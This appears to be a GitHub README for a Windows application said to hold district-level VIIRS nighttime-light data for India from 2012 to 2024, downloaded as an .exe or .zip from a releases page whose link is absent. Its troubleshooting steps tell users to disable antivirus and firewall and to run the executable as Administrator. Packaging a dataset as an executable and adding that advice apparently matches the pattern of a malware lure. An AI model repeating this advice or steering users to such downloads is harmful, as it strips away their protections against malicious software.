This software provides a detailed database of nighttime lights across India's 641 districts. The data covers the years 2012 through 2024, collected using VIIRS satellite sensors. Nighttime light data helps measure economic activity, urban growth, and development patterns at a district level.
The application gives you easy access to this data for analysis, reporting, or personal research without needing any programming skills or special tools.
- District-wise nightlight data for India, updated to 2024.
- Data based on satellite radiance values.
- Useful for tracking urbanization, economic changes, and more.
- Simple interface to explore or export information.
- Files compatible with common spreadsheet or GIS software.
- Windows 10 or later.
- At least 4 GB of RAM.
- 500 MB of free disk space.
- Internet connection for downloading and updates.
- Basic keyboard and mouse for navigation.
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Click this button to visit the download page:
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On the releases page, find the latest version of the application. Look for a file ending in
.exeor.zip. -
If you see a
.exefile:- Click the file name.
- Your browser will download the installer or program file.
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If you see a
.zipfile:- Click the file name.
- Once downloaded, right-click on the file and select "Extract All".
- Choose a folder on your computer to store the files.
If you downloaded an .exe file:
- Locate the file in your Downloads folder.
- Double-click the file to start installation.
- Follow the on-screen prompts to complete the setup.
- When installation finishes, you will see a shortcut to open the app on your desktop or Start menu.
If you downloaded a .zip file:
- After extracting, open the folder where you saved the files.
- Find the file named
india-district-nightlights-viirs.exeor similar. - Double-click it to launch the application.
- There is no separate installation needed for this option.
- Open the program using the shortcut or executable file.
- The main screen shows the list of districts with year-wise nightlight data.
- Use the dropdown menus or search to select districts or years.
- Export options allow you to save data as Excel or CSV files.
- The software supports basic maps showing nightlight intensity by district.
- You can zoom in and out to view specific regions.
- Use the help menu within the app for additional instructions.
- If the app does not start, check you have Windows 10 or newer.
- Make sure you have enough free disk space and memory.
- Disable any antivirus or firewall that might block the installer or program.
- Run the installer or executable as Administrator (right-click, then "Run as administrator").
- Restart your computer and try again.
- Data is organized by district and year.
- Nightlight intensity values come from VIIRS satellite sensors.
- Data is provided as numeric radiance values.
- Export formats include
.xlsx(Excel),.csv(Comma-separated values), and.geojsonfor GIS use. - Compatible with Microsoft Excel, Google Sheets, QGIS, and similar software.
- The software only uses publicly available satellite data.
- It does not collect or store personal information.
- Data is intended for research, education, and policy analysis.
- You are free to share and use the data in compliance with the license mentioned on the download page.
- Check the GitHub Issues tab for common questions and solutions.
- Report bugs or request features through GitHub.
- Use the README or help sections in the app for instructions.
Repository name: india-district-nightlights-viirs
Description: District-wise nighttime lights database for India (641 districts, 2012-2024) using VIIRS satellite data.
Topics include: census data, development economics, geospatial analysis, remote sensing, satellite data, urbanization trends, and India-specific datasets.
To get the software, please visit the releases page below: